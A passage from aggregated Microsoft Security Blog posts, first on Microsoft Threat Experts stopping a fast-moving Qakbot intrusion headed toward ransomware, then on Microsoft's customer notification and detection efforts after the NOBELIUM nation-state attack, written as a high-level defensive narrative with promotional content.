The potential threat was found not only to be valid, but to be every bit as dangerous as suggested: although the techniques were largely typical of the ongoing Qakbot campaign, there was an especially swift progression to reconnaissance and credential theft. In addition, because of the method the attacker used to launch the backdoor, the activity  was detected and alerted on, but not fully remediated.

Figure 3. The flow of a more typical Qakbot infection. In this atypical case, human operators began late stage, hands-on-keyboard reconnaissance soon after initial entry.

This sort of progression was not normally associated with the flow of an initial entry campaign, but with human operators attempting lateral movement. The attacker seemed to be rushing to find out as much as they could, to deal out maximum damage. Furthermore, Microsoft hunters had identified these same techniques being used in ransomware attacks, strongly indicating that the operators might soon move to ransom the organization’s devices. Qakbot has been known to facilitate ransomware-as-a-service (RaaS) activity. In the RaaS model, a RaaS operator works with affiliates and provides tools for launching ransomware attacks. The affiliates deploy ransomware payloads by purchasing access to networks with existing malware infections like Qakbot.

Analysts at Microsoft Threat Experts immediately alerted the organization and provided advice on how to deal with the validated threat. Security researchers and experts at Microsoft Threat Intelligence Center (MSTIC) and Microsoft Detection and Response Team (DART) provided further help to prevent the attack from escalating. This aided the defenders at the targeted organization as they moved to remediate the threat. The collaboration between Microsoft and the targeted organization ultimately succeeded in stopping the attack. In spite of the attackers achieving broad lateral movement across the organization and nearly achieving their objective, the organization was not ransomed and were able to recover.

Empower your organization

In this example, and many others, notifications from Microsoft Threat Experts can be invaluable to decreasing the damage threats pose to organizations. Thoroughly warned of the threat at hand, organizations can take immediate action to remediate the threat using information from the notification, and perform further analysis with the suite of investigation tools available through Microsoft Defender for Endpoint.

Targeted attack notifications aren’t the only kind of assistance available through Microsoft Threat Experts. Organizations can also send inquiries to our analysts, through purchasing Experts on Demand. By consulting with analysts through Experts on Demand, customers can get more context on an alert, gain clarity on the root cause of an incident, or receive personalized guidance on how to protect their organization.

Through Microsoft Threat Experts, SOCs are empowered to act quickly and decisively. Learn how your organization can get expert level monitoring and analysis through Microsoft Threat Experts.

The post Structured threat hunting: One way Microsoft Threat Experts prioritizes customer defense appeared first on Microsoft Security Blog.

Behind the unprecedented effort to protect customers against the NOBELIUM nation-state attack

December 2nd, 2021 No comments

This is the third in a four-part blog series on the NOBELIUM nation-state cyberattack. In December 2020, Microsoft began sharing details with the world about what became known as the most sophisticated nation-state cyberattack in history. Microsoft’s four-part video series “Decoding NOBELIUM” pulls the curtain back on the NOBELIUM incident and how world-class threat hunters from Microsoft and around the industry came together to take on the most sophisticated nation-state attack in history. In this third post, we’ll explore Microsoft’s response to the NOBELIUM attack covered in the third episode of the docuseries.

Defending against a major cyberattack requires the same level of readiness that you need for any major crisis, according to Microsoft 365 Security Chief of Staff Elizabeth Stephens, a 19-year Marine Corps veteran who served in three combat deployments. There’s a mission. There’s a plan of action. And there’s an expert team ready to go. Stephens was part of a dedicated response team that was mobilized in response to the NOBELIUM nation-state attack in December 2020.

“All of the teams came together in a way that very much reminded me of the way my Marine Corps came together,” said Stephens. “The way we respond is very much like first responders. We pride ourselves on being able to come together regardless of our areas of specialty and expertise and fill in the gaps between each other very quickly to get a mission completed. [It’s about] selflessness and the sense of, if we weren’t defending then who else was going to?”

As explained in our first post in the series, How nation-state attackers like NOBELIUM are changing cybersecurity, these sophisticated actors are working to further a given country’s interests through cyberespionage or intelligence-gathering efforts. The multi-pronged attack, which included supply chain compromise from NOBELIUM, a Russian-linked group of hackers, is widely recognized as the most sophisticated nation-state cyberattack in history. When an attack of this magnitude is discovered, the response is equally significant. In the second post in the series, The hunt for NOBELIUM, the most sophisticated nation-state attack in history, we covered the initial industry-wide investigation and gathering of data to understand the attack.

In the third episode of our “Decoding NOBELIUM” series, we reveal new details about how Microsoft worked to disrupt the adversary and safeguard the organizations: notifying and supporting impacted customers, deploying novel prevention rapidly, and providing detection measures to protect all of its customers against the threat.

Notifying customers of the NOBELIUM attack

Customers needed to be notified quickly so they could investigate and understand the scope of the attack inside their environments. Once the threat hunters began isolating threat markers for NOBELIUM activity, they could effectively identify and contact impacted customers. The security community, traditionally, tells customers that they will never receive a phone call from defenders—and to view any calls suspiciously. In this case, with attackers having access to victim environments, there was no safe alternative. Making a call with the difficult news of a sophisticated incursion would be hard enough, but in some instances, they had to find creative ways to validate that it was, in fact, Microsoft on the phone. As part of the notification, the team shared information and guidance about the attack to enable the customer to further investigate the scope and act to begin remediation. The news of NOBELIUM’s activity understandably stunned customers.

“To see the look on people’s faces as the gravity of that [situation] settled in, was certainly sobering for me and my team, but it was also a tremendous incentive to keep going until we could get to the very bottom of it,” said Franklin, Microsoft Identity Security Response Team Lead.

Building product detections to support customers

Those customer contacts were just part of Microsoft’s response to this attack. Microsoft’s threat hunters continued to pore over massive amounts of aggregated telemetry—including user, email, collaboration tools, endpoint, cloud activity, and cloud application security—to identify more subtle attack markers. Called tactics, techniques, and procedures (TTP), these markers were used to track NOBELIUM’s movements.

“By taking a holistic view, we are able to track attackers that move from domain to domain and that is usually where they get lost in the noise, in the transitions,” said Michael Shalev, Principal Program Manager for Microsoft 365 Defender.

The team identified more than 70 TTPs associated with the NOBELIUM attack that we shared publicly. Together, they painted a picture of how the NOBELIUM group operated. Microsoft teams determined which TTPs were specific to an organization, and which were found across the impacted organizations. They quickly used these TTPs to build automated detections into security products so impacted organizations could “return their network and assets to a healthy state” and unimpacted organizations could protect themselves from similar threats, Shalev explained.

Releasing detections into security products in response to a specific attack isn’t new; Microsoft regularly releases detections into security products in response to attacks. But the release volume after the NOBELIUM incident was unprecedented. During a three-week period, Microsoft researchers released multiple detections a day—in the form of targeted custom queries shared through blog posts or updates released directly into the products to enable real-time action. “Seconds count when responding to an attack like this,” said Partner Product Manager Sarah Fender of Microsoft Sentinel, Microsoft’s cloud-native security information and event management platform.

For example, the threat hunters discovered specific techniques that NOBELIUM used to evade security software and analyst tools. As there can be benign reasons to turn off sensors or logging, the TTP research was critical to detecting when the activity was malicious. In response, the Microsoft Defender for Endpoint team developed new anti-tampering policies, hunting queries, and detections to identify and send alerts on these specific NOBELIUM-related activities.

“You really have to meet the customer where they are because the attack is so significant that they’re all going to need help in different sorts of ways,” said Cristin Goodwin, Associate General Counsel for the Microsoft Digital Security Unit.

Cybersecurity strategies and available resources

In the third episode of our “Decoding NOBELIUM” series, security professionals share insights on defending customers after NOBELIUM’s discovery. Watch the episode for guidance on effective cybersecurity hygiene. Look out for the final post in the NOBELIUM nation-state attack series, where we will offer a fuller breakdown of the NOBELIUM attack and share predictions and tips for the future of cybersecurity. Read our previous posts in this series:

Microsoft is committed to helping organizations stay protected from cyberattacks whether cybercriminal or nation-state. Consistent with our mission to provide security for all, Microsoft will use our leading threat intelligence and a global team of dedicated cybersecurity defenders to help protect our customers and the world. Just two recent examples of Microsoft’s efforts to combat nation-state attacks include a September 2021 discovery, an investigation of a NOBELIUM malware referred to as FoggyWeb, and our May 2021 profiling of NOBELIUM’s early-stage toolset compromising EnvyScout, BoomBox, NativeZone, and VaporRage.

For immediate support, visit the Microsoft Security Response Center where you can report an issue and get guidance from the latest security reports and Microsoft Security Response Center blogs.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Behind the unprecedented effort to protect customers against the NOBELIUM nation-state attack appeared first on Microsoft Security Blog.